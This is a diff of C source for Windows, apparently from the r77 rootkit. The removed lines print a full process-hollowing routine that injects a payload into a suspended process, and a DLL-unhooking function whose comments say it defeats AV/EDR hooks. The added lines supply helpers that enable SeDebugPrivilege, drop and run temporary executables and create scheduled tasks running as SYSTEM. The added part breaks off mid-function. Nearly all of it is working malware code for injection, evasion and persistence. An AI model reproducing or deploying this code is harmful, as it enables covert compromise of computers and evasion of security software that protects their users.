- !SetSecurityDescriptorDacl(securityDescriptor, TRUE, acl, FALSE)) return INVALID_HANDLE_VALUE;
-
- SECURITY_ATTRIBUTES securityAttributes;
- securityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
- securityAttributes.lpSecurityDescriptor = securityDescriptor;
- securityAttributes.bInheritHandle = FALSE;
-
- return CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, NMPWAIT_USE_DEFAULT_WAIT, &securityAttributes);
-}
-
-BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit)
-{
- PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
-
- if (ntHeaders->Signature == IMAGE_NT_SIGNATURE)
- {
- switch (ntHeaders->OptionalHeader.Magic)
- {
- case IMAGE_NT_OPTIONAL_HDR32_MAGIC:
- *is64Bit = FALSE;
- return TRUE;
- case IMAGE_NT_OPTIONAL_HDR64_MAGIC:
- *is64Bit = TRUE;
- return TRUE;
- }
- }
-
- return FALSE;
-}
-BOOL RunPE(LPCWSTR path, LPBYTE payload)
-{
- BOOL isPayload64Bit;
- if (IsExecutable64Bit(payload, &isPayload64Bit))
- {
- if (isPayload64Bit && BITNESS(32))
- {
- // Cannot inject 64-bit payload from 32-bit process.
- return FALSE;
- }
-
- if (!isPayload64Bit && BITNESS(64) && !IsAtLeastWindows10())
- {
- // Wow64 RunPE requires at least Windows 10.
- //TODO: Custom implementation for Wow64GetThreadContext and Wow64SetThreadContext required to work on Windows 7.
- return FALSE;
- }
- }
- else
- {
- return FALSE;
- }
-
- // For 32-bit (and 64-bit?) process hollowing, this needs to be attempted several times.
- // This is a workaround to the well known stability issue of process hollowing.
- for (DWORD i = 0; i < 5; i++)
- {
- STARTUPINFOW startupInfo;
- PROCESS_INFORMATION processInformation;
- i_memset(&startupInfo, 0, sizeof(STARTUPINFOW));
- i_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION));
- startupInfo.cb = sizeof(startupInfo);
-
- if (CreateProcessW(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInformation))
- {
- if (isPayload64Bit == BITNESS(64))
- {
- // Payload bitness matches current process bitness
-
- PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew);
- R77_NtUnmapViewOfSection(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase);
-
- LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL))
- {
- DWORD oldProtect;
- if (VirtualProtectEx(processInformation.hProcess, imageBase, ntHeaders->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &oldProtect))
- {
- BOOL sectionsWritten = TRUE;
- PIMAGE_SECTION_HEADER sectionHeaders = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(ntHeaders);
- for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++)
- {
- if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress, (LPBYTE)payload + sectionHeaders[j].PointerToRawData, sectionHeaders[j].SizeOfRawData, NULL))
- {
- sectionsWritten = FALSE;
- break;
- }
-
- if (!VirtualProtectEx(
- processInformation.hProcess,
- (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress,
- j == ntHeaders->FileHeader.NumberOfSections - 1 ? ntHeaders->OptionalHeader.SizeOfImage - sectionHeaders[j].VirtualAddress : sectionHeaders[j + 1].VirtualAddress - sectionHeaders[j].VirtualAddress,
- SectionCharacteristicsToProtection(sectionHeaders[j].Characteristics),
- &oldProtect))
- {
- sectionsWritten = FALSE;
- break;
- }
- }
-
- if (sectionsWritten)
- {
- LPCONTEXT context = (LPCONTEXT)VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE);
- if (context)
- {
- context->ContextFlags = CONTEXT_FULL;
-
- if (GetThreadContext(processInformation.hThread, context))
- {
-#ifdef _WIN64
- if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Rdx + 16), &ntHeaders->OptionalHeader.ImageBase, 8, NULL))
- {
- context->Rcx = (DWORD64)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
- if (SetThreadContext(processInformation.hThread, context) &&
- ResumeThread(processInformation.hThread) != -1)
- {
- return TRUE;
- }
- }
-#else
- if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + 8), &ntHeaders->OptionalHeader.ImageBase, 4, NULL))
- {
- context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
- if (SetThreadContext(processInformation.hThread, context) &&
- ResumeThread(processInformation.hThread) != -1)
- {
- return TRUE;
- }
- }
-#endif
- }
- }
- }
- }
- }
- }
- else
- {
- // Spawn 32-bit process from this 64-bit process.
-
- PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew);
- R77_NtUnmapViewOfSection(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase);
-
- LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL))
- {
- DWORD oldProtect;
- if (VirtualProtectEx(processInformation.hProcess, imageBase, ntHeaders->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &oldProtect))
- {
- BOOL sectionsWritten = TRUE;
- PIMAGE_SECTION_HEADER sectionHeaders = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(ntHeaders);
- for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++)
- {
- if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress, (LPBYTE)payload + sectionHeaders[j].PointerToRawData, sectionHeaders[j].SizeOfRawData, NULL))
- {
- sectionsWritten = FALSE;
- break;
- }
-
- if (!VirtualProtectEx(
- processInformation.hProcess,
- (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress,
- j == ntHeaders->FileHeader.NumberOfSections - 1 ? ntHeaders->OptionalHeader.SizeOfImage - sectionHeaders[j].VirtualAddress : sectionHeaders[j + 1].VirtualAddress - sectionHeaders[j].VirtualAddress,
- SectionCharacteristicsToProtection(sectionHeaders[j].Characteristics),
- &oldProtect))
- {
- sectionsWritten = FALSE;
- break;
- }
- }
-
- if (sectionsWritten)
- {
- PWOW64_CONTEXT context = (PWOW64_CONTEXT)VirtualAlloc(NULL, sizeof(WOW64_CONTEXT), MEM_COMMIT, PAGE_READWRITE);
- if (context)
- {
- context->ContextFlags = WOW64_CONTEXT_FULL;
-
- if (Wow64GetThreadContext(processInformation.hThread, context))
- {
- if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + 8), &ntHeaders->OptionalHeader.ImageBase, 4, NULL))
- {
- context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
- if (Wow64SetThreadContext(processInformation.hThread, context) &&
- ResumeThread(processInformation.hThread) != -1)
- {
- return TRUE;
- }
- }
- }
- }
- }
- }
- }
- }
- }
-
- if (processInformation.dwProcessId != 0)
- {
- HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, processInformation.dwProcessId);
- if (process)
- {
- TerminateProcess(process, 0);
- }
- }
- }
-
- return FALSE;
-}
-DWORD SectionCharacteristicsToProtection(DWORD characteristics)
-{
- if ((characteristics & IMAGE_SCN_MEM_EXECUTE) && (characteristics & IMAGE_SCN_MEM_READ) && (characteristics & IMAGE_SCN_MEM_WRITE))
- {
- return PAGE_EXECUTE_READWRITE;
- }
- else if ((characteristics & IMAGE_SCN_MEM_EXECUTE) && (characteristics & IMAGE_SCN_MEM_READ))
- {
- return PAGE_EXECUTE_READ;
- }
- else if ((characteristics & IMAGE_SCN_MEM_EXECUTE) && (characteristics & IMAGE_SCN_MEM_WRITE))
- {
- return PAGE_EXECUTE_WRITECOPY;
- }
- else if ((characteristics & IMAGE_SCN_MEM_READ) && (characteristics & IMAGE_SCN_MEM_WRITE))
- {
- return PAGE_READWRITE;
- }
- else if (characteristics & IMAGE_SCN_MEM_EXECUTE)
- {
- return PAGE_EXECUTE;
- }
- else if (characteristics & IMAGE_SCN_MEM_READ)
- {
- return PAGE_READONLY;
- }
- else if (characteristics & IMAGE_SCN_MEM_WRITE)
- {
- return PAGE_WRITECOPY;
- }
- else
- {
- return PAGE_NOACCESS;
- }
-}
-DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName)
-{
- BOOL is64Bit;
- if (IsExecutable64Bit(image, &is64Bit))
- {
- PIMAGE_EXPORT_DIRECTORY exportDirectory;
- if (is64Bit)
- {
- PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
- exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
- }
- else
- {
- PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
- exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
- }
-
- LPDWORD nameDirectory = (LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNames));
- LPWORD nameOrdinalDirectory = (LPWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNameOrdinals));
-
- for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++)
- {
- if (StrStrA((PCHAR)(image + RvaToOffset(image, *nameDirectory)), functionName))
- {
- return RvaToOffset(image, *(LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfFunctions) + *nameOrdinalDirectory * sizeof(DWORD)));
- }
-
- nameDirectory++;
- nameOrdinalDirectory++;
- }
- }
-
- return 0;
-}
-DWORD RvaToOffset(LPBYTE image, DWORD rva)
-{
- PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
- PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader);
-
- if (rva < sections[0].PointerToRawData)
- {
- return rva;
- }
- else
- {
- for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
- {
- if (rva >= sections[i].VirtualAddress && rva < sections[i].VirtualAddress + sections[i].SizeOfRawData)
- {
- return rva - sections[i].VirtualAddress + sections[i].PointerToRawData;
- }
- }
-
- return 0;
- }
-}
-VOID UnhookDll(LPCWSTR name)
-{
- if (name)
- {
- WCHAR path[MAX_PATH + 1];
- if (Is64BitOperatingSystem() && BITNESS(32)) StrCpyW(path, L"C:\\Windows\\SysWOW64\\");
- else StrCpyW(path, L"C:\\Windows\\System32\\");
-
- StrCatW(path, name);
-
- // Get original DLL handle. This DLL is possibly hooked by AV/EDR solutions.
- HMODULE dll = GetModuleHandleW(name);
- if (dll)
- {
- MODULEINFO moduleInfo;
- i_memset(&moduleInfo, 0, sizeof(MODULEINFO));
-
- if (GetModuleInformation(GetCurrentProcess(), dll, &moduleInfo, sizeof(MODULEINFO)))
- {
- // Retrieve a clean copy of the DLL file.
- HANDLE dllFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
- if (dllFile != INVALID_HANDLE_VALUE)
- {
- // Map the clean DLL into memory
- HANDLE dllMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
- if (dllMapping)
- {
- LPVOID dllMappedFile = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0);
- if (dllMappedFile)
- {
- PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)moduleInfo.lpBaseOfDll + ((PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll)->e_lfanew);
-
- for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
- {
- PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + (i * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER));
-
- // Find the .text section of the hooked DLL and overwrite it with the original DLL section
- if (!StrCmpIA((LPCSTR)sectionHeader->Name, ".text"))
- {
- LPVOID virtualAddress = (LPVOID)((ULONG_PTR)moduleInfo.lpBaseOfDll + (ULONG_PTR)sectionHeader->VirtualAddress);
- DWORD virtualSize = sectionHeader->Misc.VirtualSize;
-
- DWORD oldProtect;
- VirtualProtect(virtualAddress, virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
- i_memcpy(virtualAddress, (LPVOID)((ULONG_PTR)dllMappedFile + (ULONG_PTR)sectionHeader->VirtualAddress), virtualSize);
- VirtualProtect(virtualAddress, virtualSize, oldProtect, &oldProtect);
-
- break;
- }
- }
- }
-
- CloseHandle(dllMapping);
- }
-
- CloseHandle(dllFile);
- }
- }
-
- FreeLibrary(dll);
- }
- }
-}
-
-NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength)
-{
- // NtQueryObject must be called by using GetProcAddress on Windows 7.
- return ((NT_NTQUERYOBJECT)GetFunction("ntdll.dll", "NtQueryObject"))(handle, objectInformationClass, objectInformation, objectInformationLength, returnLength);
-}
-NTSTATUS NTAPI R77_NtCreateThreadEx(LPHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer)
-{
- // Use NtCreateThreadEx instead of CreateRemoteThread.
- // CreateRemoteThread does not work across sessions in Windows 7.
- return ((NT_NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer);
-}
-NTSTATUS NTAPI R77_NtUnmapViewOfSection(HANDLE processHandle, LPVOID baseAddress)
-{
- return ((NT_NTUNMAPVIEWOFSECTION)GetFunction("ntdll.dll", "NtUnmapViewOfSection"))(processHandle, baseAddress);
-}
-NTSTATUS NTAPI R77_RtlGetVersion(PRTL_OSVERSIONINFOW versionInformation)
-{
- return ((NT_RTLGETVERSION)GetFunction("ntdll.dll", "RtlGetVersion"))(versionInformation);
-}
-NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue)
-{
- return ((NT_RTLADJUSTPRIVILEGE)GetFunction("ntdll.dll", "RtlAdjustPrivilege"))(privilege, enablePrivilege, isThreadPrivilege, previousValue);
-}
-NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb)
-{
- return ((NT_RTLSETPROCESSISCRITICAL)GetFunction("ntdll.dll", "RtlSetProcessIsCritical"))(newIsCritical, oldIsCritical, needScb);
+#include "r77win.h"
+#include
+#include
+#include
+#include
+#include
+
+BOOL GetRandomBytes(LPVOID buffer, DWORD size)
+{
+ BOOL result = FALSE;
+
+ HCRYPTPROV cryptProvider;
+ if (CryptAcquireContextW(&cryptProvider, NULL, L"Microsoft Base Cryptographic Provider v1.0", PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
+ {
+ if (CryptGenRandom(cryptProvider, size, buffer))
+ {
+ result = TRUE;
+ }
+
+ CryptReleaseContext(cryptProvider, 0);
+ }
+
+ return result;
+}
+BOOL GetRandomString(PWCHAR str, DWORD length)
+{
+ WCHAR characters[] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
+
+ if (GetRandomBytes(str, length * 2))
+ {
+ for (DWORD i = 0; i < length; i++)
+ {
+ str[i] = characters[str[i] % (sizeof(characters) / sizeof(WCHAR) - 1)];
+ }
+
+ str[length] = L'\0';
+ return TRUE;
+ }
+ else
+ {
+ return FALSE;
+ }
+}
+LPCSTR ConvertStringToAString(LPCWSTR str)
+{
+ PCHAR result = NULL;
+
+ int length = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL);
+ if (length > 0)
+ {
+ result = NEW_ARRAY(CHAR, length);
+ if (WideCharToMultiByte(CP_ACP, 0, str, -1, result, length, NULL, NULL) <= 0)
+ {
+ FREE(result);
+ result = NULL;
+ }
+ }
+
+ return result;
+}
+LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str)
+{
+ if (str.Buffer)
+ {
+ PWCHAR buffer = NEW_ARRAY(WCHAR, str.Length / sizeof(WCHAR) + 1);
+ i_wmemcpy(buffer, str.Buffer, str.Length / sizeof(WCHAR));
+ buffer[str.Length / sizeof(WCHAR)] = L'\0';
+
+ return buffer;
+ }
+ else
+ {
+ return NULL;
+ }
+}
+VOID Int32ToStrW(LONG value, PWCHAR buffer)
+{
+ if (value == 0)
+ {
+ buffer[0] = L'0';
+ buffer[1] = L'\0';
+ return;
+ }
+
+ if (value < 0)
+ {
+ *buffer++ = L'-';
+ value = -value;
+ }
+
+ INT length = 0;
+ for (LONG i = value; i; i /= 10)
+ {
+ length++;
+ }
+
+ for (INT i = 0; i < length; i++)
+ {
+ buffer[length - i - 1] = L'0' + value % 10;
+ value /= 10;
+ }
+
+ buffer[length] = L'\0';
+}
+
+BOOL Is64BitOperatingSystem()
+{
+ BOOL wow64 = FALSE;
+ return BITNESS(64) || IsWow64Process(GetCurrentProcess(), &wow64) && wow64;
+}
+BOOL IsAtLeastWindows10()
+{
+ RTL_OSVERSIONINFOW versionInfo;
+ versionInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW);
+
+ // Unlike GetVersionEx, RtlGetVersion returns the actual windows version regardless of executable manifest.
+ if (NT_SUCCESS(R77_RtlGetVersion(&versionInfo)))
+ {
+ return versionInfo.dwMajorVersion >= 10;
+ }
+
+ return FALSE;
+}
+BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit)
+{
+ BOOL result = FALSE;
+
+ if (Is64BitOperatingSystem())
+ {
+ HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processId);
+ if (process)
+ {
+ BOOL wow64;
+ if (IsWow64Process(process, &wow64))
+ {
+ *is64Bit = wow64 ? FALSE : TRUE;
+ result = TRUE;
+ }
+
+ CloseHandle(process);
+ }
+ }
+ else
+ {
+ *is64Bit = FALSE;
+ result = TRUE;
+ }
+
+ return result;
+}
+LPVOID GetFunction(LPCSTR dll, LPCSTR function)
+{
+ HMODULE module = GetModuleHandleA(dll);
+ return module ? (LPVOID)GetProcAddress(module, function) : NULL;
+}
+BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel)
+{
+ BOOL result = FALSE;
+
+ HANDLE token;
+ if (OpenProcessToken(process, TOKEN_QUERY, &token))
+ {
+ DWORD tokenSize;
+ if (!GetTokenInformation(token, TokenIntegrityLevel, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER)
+ {
+ PTOKEN_MANDATORY_LABEL tokenMandatoryLabel = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, tokenSize);
+ if (tokenMandatoryLabel)
+ {
+ if (GetTokenInformation(token, TokenIntegrityLevel, tokenMandatoryLabel, tokenSize, &tokenSize))
+ {
+ *integrityLevel = *GetSidSubAuthority(tokenMandatoryLabel->Label.Sid, *GetSidSubAuthorityCount(tokenMandatoryLabel->Label.Sid) - 1);
+ result = TRUE;
+ }
+
+ LocalFree(tokenMandatoryLabel);
+ }
+ }
+
+ CloseHandle(token);
+ }
+
+ return result;
+}
+BOOL GetProcessFileName(DWORD processId, LPWSTR fileName, DWORD fileNameLength)
+{
+ BOOL result = FALSE;
+
+ HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId);
+ if (process)
+ {
+ WCHAR path[MAX_PATH + 1];
+ if (GetProcessImageFileNameW(process, path, MAX_PATH))
+ {
+ PWCHAR resultFileName = PathFindFileNameW(path);
+ if ((DWORD)lstrlenW(resultFileName) <= fileNameLength)
+ {
+ StrCpyW(fileName, resultFileName);
+ result = TRUE;
+ }
+ }
+
+ CloseHandle(process);
+ }
+
+ return result;
+}
+BOOL GetProcessPath(DWORD processId, LPWSTR fileName, DWORD fileNameLength)
+{
+ BOOL result = FALSE;
+
+ HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId);
+ if (process)
+ {
+ WCHAR path[MAX_PATH + 1];
+ if (GetModuleFileNameExW(process, NULL, path, MAX_PATH))
+ {
+ if ((DWORD)lstrlenW(path) <= fileNameLength)
+ {
+ StrCpyW(fileName, path);
+ result = TRUE;
+ }
+ }
+
+ CloseHandle(process);
+ }
+
+ return result;
+}
+BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength)
+{
+ BOOL result = FALSE;
+
+ HANDLE token;
+ if (OpenProcessToken(process, TOKEN_QUERY, &token))
+ {
+ DWORD tokenSize = 0;
+ if (!GetTokenInformation(token, TokenUser, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER)
+ {
+ PTOKEN_USER tokenUser = (PTOKEN_USER)LocalAlloc(0, tokenSize);
+ if (tokenUser)
+ {
+ if (GetTokenInformation(token, TokenUser, tokenUser, tokenSize, &tokenSize))
+ {
+ WCHAR domain[256];
+ DWORD domainLength = 256;
+ SID_NAME_USE sidType;
+ result = LookupAccountSidW(NULL, tokenUser->User.Sid, name, nameLength, domain, &domainLength, &sidType);
+ }
+
+ LocalFree(tokenUser);
+ }
+ }
+
+ CloseHandle(token);
+ }
+
+ return result;
+}
+BOOL EnabledDebugPrivilege()
+{
+ BOOL result = FALSE;
+
+ HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, GetCurrentProcessId());
+ if (process)
+ {
+ HANDLE token;
+ if (OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))
+ {
+ LUID luid;
+ if (LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid))
+ {
+ TOKEN_PRIVILEGES tokenPrivileges;
+ tokenPrivileges.PrivilegeCount = 1;
+ tokenPrivileges.Privileges[0].Luid = luid;
+ tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+
+ if (AdjustTokenPrivileges(token, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
+ {
+ result = GetLastError() != ERROR_NOT_ALL_ASSIGNED;
+ }
+ }
+ }
+
+ CloseHandle(process);
+ }
+
+ return result;
+}
+BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size)
+{
+ HRSRC resource = FindResourceA(NULL, MAKEINTRESOURCEA(resourceID), type);
+ if (resource)
+ {
+ *size = SizeofResource(NULL, resource);
+ if (*size)
+ {
+ HGLOBAL resourceData = LoadResource(NULL, resource);
+ if (resourceData)
+ {
+ *data = (LPBYTE)LockResource(resourceData);
+ return TRUE;
+ }
+ }
+ }
+
+ return FALSE;
+}
+BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength)
+{
+ BOOL result = FALSE;
+
+ WCHAR path[MAX_PATH + 1];
+ if (GetFinalPathNameByHandleW(file, path, MAX_PATH, FILE_NAME_NORMALIZED) > 0 && !StrCmpNIW(path, L"\\\\?\\", 4))
+ {
+ PWCHAR resultFileName = &path[4];
+ if ((DWORD)lstrlenW(resultFileName) <= fileNameLength)
+ {
+ StrCpyW(fileName, resultFileName);
+ result = TRUE;
+ }
+ }
+
+ return result;
+}
+BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size)
+{
+ BOOL result = FALSE;
+
+ HANDLE file = CreateFileW(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (file != INVALID_HANDLE_VALUE)
+ {
+ DWORD fileSize = GetFileSize(file, NULL);
+ if (fileSize != INVALID_FILE_SIZE)
+ {
+ LPBYTE fileData = NEW_ARRAY(BYTE, fileSize);
+
+ DWORD bytesRead;
+ if (ReadFile(file, fileData, fileSize, &bytesRead, NULL) && bytesRead == fileSize)
+ {
+ *data = fileData;
+ if (size) *size = fileSize;
+ result = TRUE;
+ }
+ else
+ {
+ FREE(fileData);
+ }
+ }
+
+ CloseHandle(file);
+ }
+
+ return result;
+}
+BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length)
+{
+ BOOL result = FALSE;
+
+ for (DWORD count = 0; count < length; count++)
+ {
+ DWORD bytesRead;
+ if (!ReadFile(file, &str[count], sizeof(WCHAR), &bytesRead, NULL) || bytesRead != sizeof(WCHAR))
+ {
+ result = FALSE;
+ break;
+ }
+
+ if (str[count] == L'\0')
+ {
+ result = TRUE;
+ break;
+ }
+ }
+
+ return result;
+}
+BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size)
+{
+ BOOL result = FALSE;
+
+ HANDLE file = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (file != INVALID_HANDLE_VALUE)
+ {
+ DWORD bytesWritten;
+ result = WriteFile(file, data, size, &bytesWritten, NULL);
+ CloseHandle(file);
+ }
+
+ return result;
+}
+BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath)
+{
+ BOOL result = FALSE;
+ WCHAR tempPath[MAX_PATH + 1];
+
+ if (GetTempPathW(MAX_PATH, tempPath))
+ {
+ WCHAR fileName[MAX_PATH + 1];
+ if (GetRandomString(fileName, 8))
+ {
+ StrCatW(fileName, L".");
+ StrCatW(fileName, extension);
+
+ if (PathCombineW(resultPath, tempPath, fileName) && WriteFileContent(resultPath, file, fileSize))
+ {
+ result = TRUE;
+ }
+ }
+ }
+
+ return result;
+}
+BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile)
+{
+ BOOL result = FALSE;
+
+ STARTUPINFOW startupInfo;
+ PROCESS_INFORMATION processInformation;
+ i_memset(&startupInfo, 0, sizeof(STARTUPINFOW));
+ i_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION));
+ startupInfo.cb = sizeof(startupInfo);
+
+ if (CreateProcessW(path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInformation))
+ {
+ WaitForSingleObject(processInformation.hProcess, 10000);
+ CloseHandle(processInformation.hProcess);
+ CloseHandle(processInformation.hThread);
+
+ result = TRUE;
+ }
+
+ if (deleteFile)
+ {
+ for (int i = 0; i < 10; i++)
+ {
+ if (DeleteFileW(path)) break;
+ Sleep(100);
+ }
+ }
+
+ return result;
+}
+BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments)
+{
+ BOOL result = FALSE;
+
+ BSTR nameBstr = SysAllocString(name);
+ BSTR directoryBstr = SysAllocString(directory);
+ BSTR fileNameBstr = SysAllocString(fileName);
+ BSTR argumentsBstr = SysAllocString(arguments);
+ BSTR folderPathBstr = SysAllocString(L"\\");
+ BSTR userIdBstr = SysAllocString(L"SYSTEM");
+
+ if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED)))
+ {
+ HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
+ if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE)
+ {
+ ITaskService *service = NULL;
+ if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service)))
+ {
+ VARIANT empty;
+ VariantInit(&empty);
+
+ if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty)))
+ {
+ ITaskFolder *folder = NULL;
+ if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder)))
+ {
+ ITaskDefinition *task = NULL;
+ if (SUCCEEDED(service->lpVtbl->NewTask(service, 0, &task)))
+ {
+ ITaskSettings *settings = NULL;
+ if (SUCCEEDED(task->lpVtbl->get_Settings(task, &settings)))
+ {
